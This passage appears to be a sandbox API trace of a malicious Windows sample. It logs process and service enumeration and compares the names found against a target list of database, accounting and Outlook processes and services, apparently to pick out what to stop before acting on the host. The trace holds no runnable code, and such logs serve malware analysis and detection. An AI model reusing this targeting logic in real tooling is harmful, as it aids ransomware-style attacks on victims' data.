(lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0243.841] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0243.841] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0243.841] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0243.841] lstrlenW (lpString="wininit.exe") returned 11 [0243.841] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0243.841] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0243.841] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0243.841] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0243.841] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0243.841] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0243.841] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0243.841] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0243.842] lstrlenW (lpString="csrss.exe") returned 9 [0243.842] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0243.842] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0243.842] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0243.842] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0243.842] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0243.842] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0243.842] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0243.842] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0243.842] lstrlenW (lpString="winlogon.exe") returned 12 [0243.842] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0243.842] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0243.842] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0243.842] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0243.842] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0243.842] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0243.842] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0243.842] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0243.843] lstrlenW (lpString="services.exe") returned 12 [0243.843] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0243.843] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0243.843] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0243.843] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0243.843] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0243.843] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0243.843] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0243.843] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0243.843] lstrlenW (lpString="lsass.exe") returned 9 [0243.843] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0243.843] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0243.843] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0243.843] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0243.843] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0243.844] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0243.844] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0243.844] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0243.844] lstrlenW (lpString="lsm.exe") returned 7 [0243.844] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0243.844] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0243.844] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0243.844] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0243.844] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0243.844] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0243.844] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0243.844] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.845] lstrlenW (lpString="svchost.exe") returned 11 [0243.845] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0243.845] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0243.845] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0243.845] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0243.845] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0243.845] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0243.845] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0243.845] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.845] lstrlenW (lpString="svchost.exe") returned 11 [0243.845] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0243.845] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0243.845] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0243.845] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0243.845] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0243.845] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0243.845] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0243.845] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.846] lstrlenW (lpString="svchost.exe") returned 11 [0243.846] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0243.846] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0243.846] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0243.846] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0243.846] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0243.846] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0243.846] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0243.846] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.846] lstrlenW (lpString="svchost.exe") returned 11 [0243.846] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0243.846] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0243.846] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0243.846] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0243.846] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0243.846] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0243.847] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0243.847] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.847] lstrlenW (lpString="svchost.exe") returned 11 [0243.847] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0243.847] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0243.847] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0243.847] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0243.848] lstrlenW (lpString="audiodg.exe") returned 11 [0243.848] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.848] lstrlenW (lpString="svchost.exe") returned 11 [0243.848] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.848] lstrlenW (lpString="svchost.exe") returned 11 [0243.848] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0243.849] lstrlenW (lpString="userinit.exe") returned 12 [0243.849] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0243.850] lstrlenW (lpString="dwm.exe") returned 7 [0243.850] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0243.850] lstrlenW (lpString="explorer.exe") returned 12 [0243.850] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0243.850] lstrlenW (lpString="spoolsv.exe") returned 11 [0243.850] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0243.851] lstrlenW (lpString="taskhost.exe") returned 12 [0243.851] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.851] lstrlenW (lpString="svchost.exe") returned 11 [0243.851] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0243.852] lstrlenW (lpString="uyuquk.exe") returned 10 [0243.852] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0243.852] lstrlenW (lpString="reader_sl.exe") returned 13 [0243.852] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0243.853] lstrlenW (lpString="dllhost.exe") returned 11 [0243.853] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0243.853] CloseHandle (hObject=0x360) returned 1 [0243.853] Sleep (dwMilliseconds=0x1f4) [0244.664] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aec60 [0244.764] EnumServicesStatusExW (in: hSCManager=0x42aec60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0244.764] GetLastError () returned 0xea [0244.764] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc9a) returned 0x4232878 [0244.764] EnumServicesStatusExW (in: hSCManager=0x42aec60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4232878, cbBufSize=0xc9a, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4232878, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0244.765] CloseServiceHandle (hSCObject=0x42aec60) returned 1 [0244.765] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0244.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0244.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0244.765] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0244.765] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0244.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0244.765] lstrlenW (lpString="AudioSrv") returned 8 [0244.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0244.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0244.765] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0244.765] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0244.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0244.765] lstrlenW (lpString="BFE") returned 3 [0244.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0244.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0244.765] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0244.765] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0244.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0244.765] lstrlenW (lpString="CryptSvc") returned 8 [0244.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0244.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0244.765] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0244.766] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0244.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0244.766] lstrlenW (lpString="CscService") returned 10 [0244.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0244.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0244.766] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0244.766] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0244.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0244.766] lstrlenW (lpString="DcomLaunch") returned 10 [0244.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0244.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0244.766] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0244.766] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0244.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0244.766] lstrlenW (lpString="Dhcp") returned 4 [0244.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0244.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0244.766] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0244.766] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0244.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0244.766] lstrlenW (lpString="Dnscache") returned 8 [0244.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0244.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0244.766] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0244.766] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0244.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0244.766] lstrlenW (lpString="DPS") returned 3 [0244.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0244.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0244.766] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0244.766] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0244.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0244.766] lstrlenW (lpString="eventlog") returned 8 [0244.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0244.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0244.766] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0244.767] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0244.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0244.767] lstrlenW (lpString="EventSystem") returned 11 [0244.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0244.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0244.767] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0244.767] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0244.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0244.767] lstrlenW (lpString="gpsvc") returned 5 [0244.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0244.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0244.767] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0244.767] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0244.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0244.767] lstrlenW (lpString="LanmanWorkstation") returned 17 [0244.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0244.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0244.767] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0244.767] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0244.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0244.767] lstrlenW (lpString="lmhosts") returned 7 [0244.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0244.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0244.767] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0244.767] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0244.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0244.767] lstrlenW (lpString="MMCSS") returned 5 [0244.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0244.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0244.767] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0244.767] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0244.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0244.767] lstrlenW (lpString="MpsSvc") returned 6 [0244.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0244.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0244.767] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0244.768] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0244.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0244.768] lstrlenW (lpString="NlaSvc") returned 6 [0244.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0244.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0244.768] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0244.768] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0244.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0244.768] lstrlenW (lpString="nsi") returned 3 [0244.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0244.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0244.768] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0244.768] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0244.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0244.768] lstrlenW (lpString="PcaSvc") returned 6 [0244.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0244.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0244.768] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0244.768] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0244.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0244.768] lstrlenW (lpString="PlugPlay") returned 8 [0244.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0244.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0244.768] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0244.768] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0244.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0244.768] lstrlenW (lpString="Power") returned 5 [0244.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0244.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0244.768] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0244.768] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0244.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0244.769] lstrlenW (lpString="ProfSvc") returned 7 [0244.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0244.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0244.769] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0244.769] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0244.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0244.769] lstrlenW (lpString="RpcEptMapper") returned 12 [0244.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0244.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0244.769] 